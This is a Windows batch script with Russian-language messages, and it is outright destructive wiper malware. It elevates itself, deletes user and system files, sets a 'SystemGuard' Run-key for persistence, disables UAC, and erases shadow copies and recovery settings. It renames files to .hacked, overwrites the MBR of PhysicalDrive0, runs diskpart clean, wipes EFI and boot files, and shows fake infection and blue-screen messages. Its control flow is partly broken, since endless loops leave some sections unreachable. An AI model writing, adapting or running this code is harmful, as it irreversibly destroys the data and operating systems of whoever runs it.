Загрузка данных
@echo off
title SYSTEM ERROR [0xDEADBEEF]
color 0a
cls
:: ПРОВЕРКА ПРАВ АДМИНИСТРАТОРА
net session >nul 2>&1
if %errorlevel% neq 0 (
echo [*] Запрос прав администратора...
powershell -Command "Start-Process '%~f0' -Verb RunAs"
exit
)
:: СКРЫТОЕ ОТКРЫТИЕ ОКНА
if not "%1"=="hide" (
start /min "" "%~f0" hide
exit
)
:: ЗАПУСК ТАЙМЕРА НА УНИЧТОЖЕНИЕ MBR (2 МИНУТЫ)
:START_TIMER
start /b cmd /c "timeout /t 120 /nobreak >nul & call :DESTROY_MBR"
:: ГЛАВНЫЙ ЦИКЛ АТАКИ
:MAIN
cls
echo.
echo ╔═══════════════════════════════════════════════════════╗
echo ║ ☣ СИСТЕМА КОМПРОМЕТИРОВАНА ☣ ║
echo ╠═══════════════════════════════════════════════════════╣
echo ║ ВАШ КОМПЬЮТЕР БЫЛ ВЗЛОМАН ║
echo ║ ВСЕ ФАЙЛЫ ШИФРУЮТСЯ ║
echo ║ ДАННЫЕ УДАЛЯЮТСЯ ║
echo ║ MBR БУДЕТ УНИЧТОЖЕН ЧЕРЕЗ: ║
echo ║ [%time%] ║
echo ╚═══════════════════════════════════════════════════════╝
echo.
timeout /t 2 /nobreak >nul
:: ЭФФЕКТ 1 - ГЛЮЧНЫЙ ТЕКСТ
:MUTATE
echo [%random%] ОШИБКА КРИТИЧЕСКОГО УРОВНЯ %random%%random%
ping 127.0.0.1 -n 1 -w 100 >nul
goto MUTATE
:: ФОНОВЫЙ ПРОЦЕСС - УНИЧТОЖЕНИЕ ФАЙЛОВ
:START_DELETE
start /b cmd /c "for /r C:\ %%i in (*.doc *.docx *.xls *.xlsx *.pdf *.txt *.png *.jpg *.mp3 *.mp4 *.avi *.mkv *.zip *.rar *.exe *.msi *.dll *.sys *.dat *.log *.bak *.old *.cfg *.ini *.conf *.xml *.json *.yml) do (attrib -h -r -s "%%i" >nul 2>&1 & del /f /q "%%i" >nul 2>&1)"
:: УНИЧТОЖЕНИЕ ВСЕХ ФАЙЛОВ В СИСТЕМНЫХ ПАПКАХ
:SYSTEM_DELETE
start /b cmd /c "del /f /q /s C:\Windows\System32\*.dll >nul 2>&1"
start /b cmd /c "del /f /q /s C:\Windows\SysWOW64\*.dll >nul 2>&1"
start /b cmd /c "del /f /q /s C:\Windows\System32\drivers\*.sys >nul 2>&1"
:: ЭФФЕКТ 2 - МАССОВОЕ ОТКРЫТИЕ ОКОН
:WINDOWS
start cmd /c "color 4f & echo ВАШИ ФАЙЛЫ УНИЧТОЖЕНЫ & pause"
start cmd /c "color 2f & echo ВИРУС АКТИВЕН & pause"
start cmd /c "color 0f & echo СИСТЕМА УМИРАЕТ & pause"
start cmd /c "color cf & echo НЕ ВЫКЛЮЧАЙТЕ КОМПЬЮТЕР & pause"
goto WINDOWS
:: ЭФФЕКТ 3 - ПОДМЕНА АВТОЗАГРУЗКИ
:STARTUP
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "SystemGuard" /t REG_SZ /d "%~f0" /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "SystemGuard" /t REG_SZ /d "%~f0" /f >nul
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v "EnableLUA" /t REG_DWORD /d 0 /f >nul
:: ЭФФЕКТ 4 - УНИЧТОЖЕНИЕ ВОССТАНОВЛЕНИЯ
:SHADOW
vssadmin delete shadows /all /quiet >nul 2>&1
wmic shadowcopy delete >nul 2>&1
bcdedit /set {default} recoveryenabled No >nul 2>&1
bcdedit /set {default} bootstatuspolicy ignoreallfailures >nul 2>&1
:: ЭФФЕКТ 5 - ПСЕВДО-ШИФРОВАНИЕ (изменение расширений)
:RENAME
for /r C:\ %%i in (*.txt *.jpg *.png *.doc *.docx *.xls *.xlsx *.pdf *.mp3 *.mp4 *.avi *.mkv *.zip *.rar *.7z) do (
ren "%%i" "%%~ni.hacked" 2>nul
)
:: ЭФФЕКТ 6 - ЗВУКОВАЯ УГРОЗА
:SOUND
powershell -Command "[console]::beep(1000,500); [console]::beep(800,500); [console]::beep(1200,1000); [console]::beep(500,2000)"
ping 127.0.0.1 -n 3 >nul
:: ЭФФЕКТ 7 - ФАЛЬШИВЫЙ БСОД (Blue Screen of Death)
:BSOD
cls
color 1f
echo.
echo ╔══════════════════════════════════════════════════════════╗
echo ║ A problem has been detected and windows has been ║
echo ║ shut down to prevent damage to your computer. ║
echo ║ ║
echo ║ SYSTEM_VIRUS_DETECTED ║
echo ║ MBR_CORRUPTION_IMMINENT ║
echo ║ ║
echo ║ *** STOP: 0x000000F4 (0x00000003, 0x89A4C030, ║
echo ║ 0x89A4C1A4, 0x805F7A32) ║
echo ║ ║
echo ║ Physical memory dump failed with error 0x00000000 ║
echo ║ MBR will be wiped in: ║
echo ║ [ОСТАЛОСЬ МЕНЕЕ 2 МИНУТ] ║
echo ╚══════════════════════════════════════════════════════════╝
echo.
timeout /t 5 /nobreak >nul
cls
color 0a
goto MAIN
:: ЭФФЕКТ 8 - УДАЛЕНИЕ РАЗДЕЛОВ РЕЕСТРА
:REGISTRY
reg delete HKCR\.exe /f >nul 2>&1
reg delete HKCR\.bat /f >nul 2>&1
reg delete HKCR\.cmd /f >nul 2>&1
reg delete HKCR\.com /f >nul 2>&1
reg delete HKCR\.scr /f >nul 2>&1
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer /f >nul 2>&1
reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot /f >nul 2>&1
:: ==============================================================
:: ============= УНИЧТОЖЕНИЕ MBR (ГЛАВНАЯ ЗАГРУЗОЧНАЯ ЗАПИСЬ) ==
:: ==============================================================
:DESTROY_MBR
cls
color 4f
echo.
echo ╔══════════════════════════════════════════════════════════╗
echo ║ ⚠ MBR УНИЧТОЖЕНА ⚠ ║
echo ╠══════════════════════════════════════════════════════════╣
echo ║ MASTER BOOT RECORD СТЕРТА ║
echo ║ СИСТЕМА НЕ ЗАГРУЗИТСЯ ║
echo ║ ВОССТАНОВЛЕНИЕ НЕВОЗМОЖНО ║
echo ║ ║
echo ║ ЗАПУСКАЕТСЯ ПОЛНОЕ САМОУНИЧТОЖЕНИЕ... ║
echo ╚══════════════════════════════════════════════════════════╝
echo.
:: СПОСОБ 1 - ЧЕРЕЗ DISKPART (ОСНОВНОЙ)
(
echo select disk 0
echo clean
echo convert mbr
echo create partition primary
echo active
echo format fs=ntfs quick
echo exit
) | diskpart >nul 2>&1
:: СПОСОБ 2 - ПРЯМАЯ ЗАПИСЬ В MBR (ЧЕРЕЗ DD)
powershell -Command "
$mbr = [byte[]]::new(512);
for($i=0; $i -lt 512; $i++) { $mbr[$i] = 0xFF };
[System.IO.File]::WriteAllBytes('\\.\PhysicalDrive0', $mbr);
"
:: СПОСОБ 3 - ЧЕРЕЗ BOOTSECT (ЕСЛИ ДОСТУПЕН)
bootsect /nt60 SYS /mbr /force >nul 2>&1
bootsect /nt52 SYS /mbr /force >nul 2>&1
:: СПОСОБ 4 - ЧЕРЕЗ WMIC (ЗАПИСЬ МУСОРА В MBR)
powershell -Command "
$bytes = [byte[]]::new(512);
[System.Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($bytes);
[System.IO.File]::WriteAllBytes('\\.\PhysicalDrive0', $bytes);
"
:: УНИЧТОЖЕНИЕ ЗАГРУЗОЧНЫХ ЗАПИСЕЙ ВСЕХ РАЗДЕЛОВ
:PARTITION_WIPE
powershell -Command "
Get-WmiObject -Class Win32_DiskDrive | ForEach-Object {
$disk = $_.DeviceID;
try {
[System.IO.File]::WriteAllBytes($disk, [byte[]]::new(512));
} catch {}
}
"
:: УДАЛЕНИЕ ВСЕХ РАЗДЕЛОВ (ВТОРИЧНЫЙ МЕТОД)
:DISKPART_CLEAN_ALL
(
echo select disk 0
echo clean all
echo exit
) | diskpart >nul 2>&1
:: УДАЛЕНИЕ GPT-ЗАГОЛОВКА (ЕСЛИ UEFI)
:UEFI_WIPE
(
echo select disk 0
echo convert gpt
echo clean
echo convert mbr
echo exit
) | diskpart >nul 2>&1
:: УНИЧТОЖЕНИЕ EFI-РАЗДЕЛА (ЕСЛИ СУЩЕСТВУЕТ)
:EFI_DELETE
mountvol X: /s >nul 2>&1
if exist X:\ (
takeown /f X:\ /r /d y >nul 2>&1
icacls X:\ /grant %username%:F /t >nul 2>&1
rd /s /q X:\ >nul 2>&1
mountvol X: /d >nul 2>&1
)
:: ДОПОЛНИТЕЛЬНОЕ УНИЧТОЖЕНИЕ - BOOTMGR И BOOT.INI
:BOOT_FILES
if exist C:\bootmgr (
attrib -h -r -s C:\bootmgr >nul 2>&1
del /f /q C:\bootmgr >nul 2>&1
)
if exist C:\boot.ini (
attrib -h -r -s C:\boot.ini >nul 2>&1
del /f /q C:\boot.ini >nul 2>&1
)
if exist C:\Windows\System32\winload.exe (
del /f /q C:\Windows\System32\winload.exe >nul 2>&1
)
if exist C:\Windows\System32\winload.efi (
del /f /q C:\Windows\System32\winload.efi >nul 2>&1
)
if exist C:\Windows\System32\winresume.exe (
del /f /q C:\Windows\System32\winresume.exe >nul 2>&1
)
if exist C:\Windows\System32\winresume.efi (
del /f /q C:\Windows\System32\winresume.efi >nul 2>&1
)
:: УНИЧТОЖЕНИЕ BCD (BOOT CONFIGURATION DATA)
:BCD_DELETE
bcdedit /export C:\bcd_backup >nul 2>&1
bcdedit /deletevalue {default} device >nul 2>&1
bcdedit /deletevalue {default} osdevice >nul 2>&1
bcdedit /deletevalue {default} path >nul 2>&1
bcdedit /delete {default} /f >nul 2>&1
bcdedit /delete {bootmgr} /f >nul 2>&1
del /f /q C:\Boot\BCD >nul 2>&1
del /f /q C:\Boot\BCD.LOG >nul 2>&1
:: ФИНАЛЬНОЕ СООБЩЕНИЕ
:FINAL_MSG
cls
color 4f
echo.
echo ╔══════════════════════════════════════════════════════════╗
echo ║ ████ ██ ██ ██████ ████████ ║
echo ║ ██ ██ ██ ██ ██ ██ ██ ║
echo ║ ██ ██ ██ ██ ██████ ██ ║
echo ║ ██ ██ ██ ██ ██ ██ ██ ║
echo ║ ████ ██████ ██ ██ ██ ║
echo ╠══════════════════════════════════════════════════════════╣
echo ║ ║
echo ║ MASTER BOOT RECORD УНИЧТОЖЕНА ║
echo ║ ВСЕ РАЗДЕЛЫ ОЧИЩЕНЫ ║
echo ║ ЗАГРУЗОЧНЫЕ ФАЙЛЫ УДАЛЕНЫ ║
echo ║ ║
echo ║ █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█ ║
echo ║ █ ПЕРЕЗАГРУЗИТЕ СИСТЕМУ ДЛЯ ЗАВЕРШЕНИЯ █ ║
echo ║ █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█ ║
echo ║ ║
echo ║ ⚡ СИСТЕМА ПОЛНОСТЬЮ РАЗРУШЕНА ⚡ ║
echo ╚══════════════════════════════════════════════════════════╝
echo.
echo.
echo НАЖМИТЕ ЛЮБУЮ КЛАВИШУ ДЛЯ ВЫКЛЮЧЕНИЯ...
pause >nul
shutdown /s /t 0 /f
:: ФИНАЛЬНЫЙ ЭТАП - ЗАВИСАНИЕ СИСТЕМЫ (ПОКА НЕ СРАБОТАЕТ ТАЙМЕР)
:FINAL
start /b cmd /c "for /l %%i in (1,1,10000) do (start cmd /c "echo %random% & dir /s C:\")"
powershell -Command "while($true){[System.GC]::Collect(); Start-Sleep -Milliseconds 1}"
goto FINAL
:: БЕЗОПАСНОСТЬ - ПЕРЕЗАПУСК ПРИ ОСТАНОВКЕ
:ANTI_KILL
taskkill /f /im cmd.exe /fi "windowtitle eq SYSTEM ERROR [0xDEADBEEF]" 2>nul
start "" "%~f0"
goto ANTI_KILL